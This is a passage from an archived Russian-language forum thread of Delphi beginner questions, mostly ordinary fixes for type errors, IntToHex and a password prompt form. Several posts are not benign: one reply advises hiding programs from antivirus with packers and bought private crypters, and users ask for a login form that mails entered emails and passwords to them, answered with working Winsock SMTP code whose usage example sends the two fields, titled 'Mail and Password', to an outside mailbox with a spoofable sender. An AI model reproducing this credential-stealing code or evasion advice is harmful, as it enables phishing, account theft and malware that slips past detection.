[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. woolfon

    woolfon New Member

    Joined:
    4 May 2008
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Code:
     if edit5.text < '5' then
      showmessage('Минимальное значение для таймера "5" сек.') else
      begin
       timer1.Interval:= strtoint(edit5.text + '000');
       timer1.enabled:=true;
       edit5.ReadOnly:= true;
      end;
    вообщем есть edit1, нужно так, если значение от ноля до 5(не включительно) вывод сообщения, это все работает, при значениях от 5 до 9 все тоже ровно, а вот от 10 до 99 начинает выскакивать шоумеседж, почему? напарился уже ниче в голову не лезет, вроде пустяк такой... в свойсвах едитки макс. кол-во символов стоит 2
     
  2. transserg

    transserg Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    147
    Likes Received:
    25
    Reputations:
    2
    Adekvatnyj проверь возможно оно.
     
  3. RumShun

    RumShun Member

    Joined:
    27 Oct 2008
    Messages:
    283
    Likes Received:
    75
    Reputations:
    6
    ну ты даешь, строки сравниваешь!
    if strtoint(edit5.text) < 5 then
    showmessage('Минимальное значение для таймера "5" сек.') else
    begin
    timer1.Interval:= strtoint(edit5.text) *1000;
    timer1.enabled:=true;
    edit5.ReadOnly:= true;
    end;
    что ты там дальше сказа я не очень понял, твоя основная проблема в том что ты путаешься в типах данных.
     
  4. RumShun

    RumShun Member

    Joined:
    27 Oct 2008
    Messages:
    283
    Likes Received:
    75
    Reputations:
    6
    2 Пуховой, решил свою проблему?
    я в таких случаях использую флаги, вроде нормально робит.
    вообще правильно делать через симафоры или мьютексы.
    это если я тебя правильно понял, wolmer тоже что такое когдато спрашивал, не помню ответили ему или нет.
     
  5. Tribal_0_o

    Tribal_0_o New Member

    Joined:
    7 Nov 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    В DEPHI 7:
    Code:
    var
    s:string;
    pck:array [0..65534] of byte;
    pck2:array [0..65534] of byte;
    begin
    len:=recv(sock,pck,MAX_PKT_SIZE,0);
    move(pck[0],pck2[0],len);
    s:='';
    s:=s+inttohex(pck2,2);
    memo1.lines.Add(s);
    
    в DELPHI 2009 этот же код выдаёт ошибку:
    E2250 There is no overloaded version of 'IntToHex' that can be called with these arguments

    как исправить?
     
    #4605 Tribal_0_o, 9 Nov 2009
    Last edited: 9 Nov 2009
  6. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Есть какие нибудь способы как спрятать файл от Антивирусников имея исходный код программы?

    Переименовывание форм, кнопок, процедур пойдет?
     
  7. Adekvatnyj

    Adekvatnyj Member

    Joined:
    28 Oct 2009
    Messages:
    18
    Likes Received:
    25
    Reputations:
    -3
    Оно, но не помогло сделать эти два шага, в RootDir мб что то поменять?.

    Все сменил по батнику с дельфи сайта.

    Но у меня не такая ошибка, у меня аккес виолатион!
     
    #4607 Adekvatnyj, 9 Nov 2009
    Last edited: 9 Nov 2009
  8. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    Антивирусу плевать на кнопки и все остальное. Он смотрит только на функции. Для шифровки используй пакеры (есть такие, что маскируют от простеньких антивирусов). А вообще есть специальные программы, они называются крипторы. Но вся проблема в том, что те крипторы, которые в паблике, большинство антивирусов палят. Нужно либо искать нормальный паблик (если поднапрячься то можно), или купить приватный.
     
  9. mr_walker

    mr_walker Member

    Joined:
    9 Aug 2009
    Messages:
    41
    Likes Received:
    34
    Reputations:
    2
    Как поставить пароль на кнопку, тоесть чтобы при нажатии на кнопку выскакивала форма с полем для ввода пароля, и при вводе правильного пароля выполнялась функция..????
    Все на Делфи7
     
  10. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Переименовал все функции и ничего не палиться ;)
     
  11. Adekvatnyj

    Adekvatnyj Member

    Joined:
    28 Oct 2009
    Messages:
    18
    Likes Received:
    25
    Reputations:
    -3
    Ответьте еще на мой вопрос, он на той странице!
     
  12. StealthMaster

    StealthMaster Member

    Joined:
    3 Dec 2008
    Messages:
    52
    Likes Received:
    11
    Reputations:
    0
    Добавь в проект новую форму, собственно где и будет поле ввода пароля, пропиши новый unit в секции uses первого юнита.

    Код кнопки на первой форме:
    Code:
    form1.button1click(sender: TObject);
    begin
      form1.enabled := false;
      form2.show;
    end;
    
    Во втором юните напиши проверку пароля и выполни нужную функцию.
    Code:
    // checkpass(pass: string): boolean - функция проверки пароля
    form2.button1click(sender: TObject);
    begin
      if checkpass(edit1.text) then
        MyFunction
      else
        showmessage('Неверный пароль');
    end;
    
     
  13. .kawaii

    .kawaii Member

    Joined:
    25 Oct 2009
    Messages:
    10
    Likes Received:
    10
    Reputations:
    5
    двe edit на форме:
    мыло, пасс.
    И что бы после ввода скидывало на аську ил хотябы на мыло введённые данные
     
  14. denjf

    denjf Member

    Joined:
    12 Nov 2008
    Messages:
    88
    Likes Received:
    12
    Reputations:
    -1

    Наформу кинь idSMTP!
    Вроде как то так
     
    1 person likes this.
  15. Nullsleep

    Nullsleep Member

    Joined:
    2 Jun 2009
    Messages:
    67
    Likes Received:
    26
    Reputations:
    0
    Code:
    uses EncdDecd, WinSock2;
    
    procedure SendLetter(SMTPAddress: PChar; SMTPPort: Word;
      Login, Password, MailFrom, MailTo, Subject, BodyText: string);
    var
      wsa: TWSAData;
      sock: TSocket;
      sock_addr: TSockAddrIn;
    
      function get_ip(host: PChar): PChar;
      var
        host_ent: PHostEnt;
      begin
        host_ent := gethostbyname(host);
        Result := inet_ntoa(PInAddr(host_ent.h_addr_list^)^);
      end;
    
      procedure send_str(str: string);
      var
        i: Integer;
      begin
        str := str + #13#10;
        for i := 1 to Length(str) do
          send(sock, str[i], 1, 0);
      end;
    
    begin
      WSAStartup(WINSOCK_VERSION, wsa);
      sock := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_IP, nil, 0, 0);
      if sock = INVALID_SOCKET then Exit;
      sock_addr.sin_family := AF_INET;
      sock_addr.sin_port := htons(SMTPPort);
      sock_addr.sin_addr.s_addr := inet_addr(get_ip(SMTPAddress));
      connect(sock, @sock_addr, SizeOf(sock_addr));
      send_str('HELO SMTP');
      send_str('AUTH LOGIN');
      send_str(EncodeString(Login)); //логин в Base64
      send_str(EncodeString(Password)); //пароль в Base64
      send_str('MAIL FROM:<' + MailFrom + '>'); //мыло отправителя
      send_str('RCPT TO:<' + MailTo + '>'); //мыло получателя
      send_str('DATA');
      send_str('from:' + MailFrom); //мыло отправителя (можно подменить)
      send_str('to:' + MailTo); //мыло получателя
      send_str('subject:' + Subject + #13#10); //тема письма
      send_str(BodyText); //текст письма
      send_str('.');
      send_str('QUIT');
      closesocket(sock);
      WSACleanUp;
    end;
    
    Использовать например так:
    Code:
      SendLetter( 
                  'smtp.yandex.ru', 25,
                  'login', 'pass',
                  '[email protected]', '[email protected]',
                  'Mail and Password',
                  Edit1.Text + ' : ' + Edit2.Text
                );
    
     
    #4615 Nullsleep, 10 Nov 2009
    Last edited: 10 Nov 2009
    1 person likes this.
  16. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    блин так я и не понял ничего

    Подскажите вот есть два окна для ввода мыла и пасса к нему
    Внизу кнопка отправить

    Как сделать что бы мыла с пассами шли на мой emeil??? мыло на майле

    Подскажите плиз по подробнее к каждому окну
    Да и ещё куда вводить своё мыло с пассом с которого будет идти отправка
     
    3 people like this.
  17. denjf

    denjf Member

    Joined:
    12 Nov 2008
    Messages:
    88
    Likes Received:
    12
    Reputations:
    -1
    Вроде данны два понятных кода! =)
     
  18. Пуховой

    Joined:
    25 Nov 2007
    Messages:
    46
    Likes Received:
    37
    Reputations:
    0
    RumShun, решил :) Сделал отдельный зацикленный поток с задержкой :)
     
  19. Thenno

    Thenno Member

    Joined:
    3 Jul 2009
    Messages:
    77
    Likes Received:
    21
    Reputations:
    0
    "Подскажите вот есть два окна для ввода мыла и пасса к нему" - это у твоей программы или у чужой? Если у твоей, то на вопрос твой уже ответили вполне понятно.
    А вот четвертый абзац я вообще не понял... Можешь еще раз попонятней сформулировать?
     
  20. mr_walker

    mr_walker Member

    Joined:
    9 Aug 2009
    Messages:
    41
    Likes Received:
    34
    Reputations:
    2
    Сорри но в Delphi я новичек... как написать проверку пароля?
     
Thread Status:
Not open for further replies.